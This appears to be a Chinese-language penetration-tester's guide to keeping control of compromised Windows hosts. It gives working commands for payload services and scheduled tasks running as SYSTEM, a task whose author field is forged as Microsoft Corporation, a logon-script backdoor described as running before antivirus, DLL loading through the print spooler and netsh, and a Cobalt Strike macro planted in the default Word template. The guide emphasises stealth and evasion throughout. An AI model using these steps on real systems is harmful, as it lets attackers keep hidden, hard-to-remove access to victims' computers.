前言
权限维持是我认为在渗透中非常重要的一个环节,谁也不希望好不容易拿到的shell,就这样被丢掉了,故基于此场景整理Windows环境中的持久化方法。
启动目录
只要放在该目录下的程序或者快捷方式,会在用户登录时自动运行
对当前用户有效
C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
对所有用户有效
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
服务
通过在注册表中注册恶意服务并设置为自启动的方式来进行持久化。
创建服务至少需要管理员权限
cmd
示例命令:sc create 服务名 binpath= "命令" start= "auto" obj= "LocalSystem"
sc create cs binpath= "cmd.exe /k C:\artifact.exe" start="auto" obj="LocalSystem"
sc start cs #启动服务
将返回一个system权限的shell,虽然提示服务没有及时响应启动或控制请求,但shell一样能用,不管它。
在服务里面能看见刚刚创建的cs的存在
注册表
powershell
示例命令:New-service -Name "服务名" -BinaryPathName "命令" -Description "服务描述" -StartupType Automatic
New-service -Name "cs" -BinaryPathName "cmd.exe /k C:\artifact.exe" -Description "cs" -StartupType Automatic
删除服务的命令,sc delete 服务名
sc delete cs
计划任务
计划任务也是一项很好的持久化利用点。不同于自启注册键和服务项,计划任务的设定方式更多样、灵活,位置也相对较为隐蔽
SCHTASKS /Create /RU SYSTEM /SC ONSTART /RL HIGHEST /TN \Microsoft\Windows\AppID\cs /TR C:\artifact.exe
将在AppID下创建一个cs任务,位置在计算机管理\系统工具\任务计划程序\任务计划程序库\Microsoft\Windows\AppID
无需登录,等个一两分钟,即可收到system权限的beacon
下图的这些选项是创建任务时的默认状态
也就是说我们的计划任务不会在睡眠唤醒时启动,断开交流电源自动停止,超过3天自动停止。而这些高级选项却不支持用命令行配置。我的解决办法是
在本地创建一个计划任务,空白处右键选择创建基本任务
名称随便填,描述随便填
触发器按需求来
选启动程序
注意,这里的程序脚本路径要填靶机的木马路径,我将木马放在靶机的c:\test.exe
创建好后,来到属性界面,就可以自定义计划任务,我先设置常规选项,以system权限运行
也可以来到触发器配置,根据需求配置
每个选项卡都去配置一下
配置完成后,回到计算机管理界面,选择导出
编辑导出的xml文件,找到Author,为了更真实将中间的作者替换成Microsoft Corporation
将xml文件上传到靶机去,这里我上传到c:\cs.xml,输入以下命令导入配置文件
schtasks /create /xml c:\cs.xml /tn \Microsoft\Windows\AppID\cs
这样就完美的解决了命令行无法配置的问题,非常nice
Logon Scripts后门
Windows登录脚本,当用户登录时触发,Logon Scripts能够优先于杀毒软件执行,绕过杀毒软件对敏感操作的拦截。
注册表位置:HKEY_CURRENT_USER\Environment\
创建字符串键值: UserInitMprLogonScript,设置后门的绝对路径:e:\cs.exe
在欢迎界面就已经执行木马了
后台打印程序服务
后台打印程序服务负责管理Windows操作系统中的打印作业,由于很多用户还是要使用打印机的,所以优化软件也不会推荐禁用这个服务。打印后台处理程序的API包含一个函数-AddMonitor,用于安装本地端口监视器并连接配置、数据和监视器文件。该函数会将DLL注入到spoolsv.exe进程以实现相应功能。
首先将恶意dll命名为monitor.dll,放到C:\Windows\System32\路径下
执行以下命令
reg add "hklm\system\currentcontrolset\control\print\monitors\monitor" /v "Driver" /d "monitor.dll" /t REG_SZ
注册表路径为:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors\monitor
重新启动后,在登录界面返回system权限的beacon,优先级高于杀软
可看到beacon的pid是1508,查找一下1508的pid
恶意DLL则会被自动加载到spoolsv.exe,隐蔽性较强
netsh
netsh也是Windows自带的命令,是用来配置网络的命令行工具。该工具可以通过导入helperdll的方式实现功能,且DLL导入后会写进注册表,永久有效
通过以下命令导入helperdll做权限维持
netsh add helper c:\cs.dll
注册表的路径为:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NetSh
每次调用netst,均会加载c:\cs.dll
但是由于netsh并不会开启自启动,因此还要再写一条自启动项:
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Pentestlab /t REG_SZ /d "cmd /c C:\Windows\System32\netsh"
重启电脑后,虽然能上线,但会弹出cmd窗口
清除命令
netsh delete helper c:\cs.dll
Office 模板宏
文档路径
%appdata%\Microsoft\Templates
此文件夹存储着用户所有的模板文件,用户可根据自身需求,定制不同的字体、颜色、背景的基础模板。每当新建一个Office文件时都会使用一个默认的模板,即Normal.dotm
如果将恶意宏嵌入到模板中,就可以形成持续性控制。每当用户运行office就可触发恶意宏,以达到持续效果。
以下步骤请按照我的来,如果有一步出错,你就可能复现不起。
使用cs生成宏,具体步骤自己搜索
打开%appdata%\Microsoft\Templates
下的Normal.dotm,切换视图
选项卡,点击宏
下的查看宏
宏名随便输入后,点创建
将cs生成的宏木马,复制替换掉默认的宏代码
保存当前的宏代码后,关闭窗口,回到原来的word编辑区,按f12另存为,保存的位置选择到%appdata%\Microsoft\Templates
,保存类型为启用宏的 Word 模板 (*.dotm)
,文件名随便
最后来到%appdata%\Microsoft\Templates
打开Normal.dotm,再查看宏,你会发现明明我们修改的是Doc1.dotm,然而Normal.dotm也被嵌入了恶意宏。之后删除Doc1.dotm即可,Normal.dotm里面的恶意宏也会被保留下来。
新建一个word,然后直接打开,cs正常上线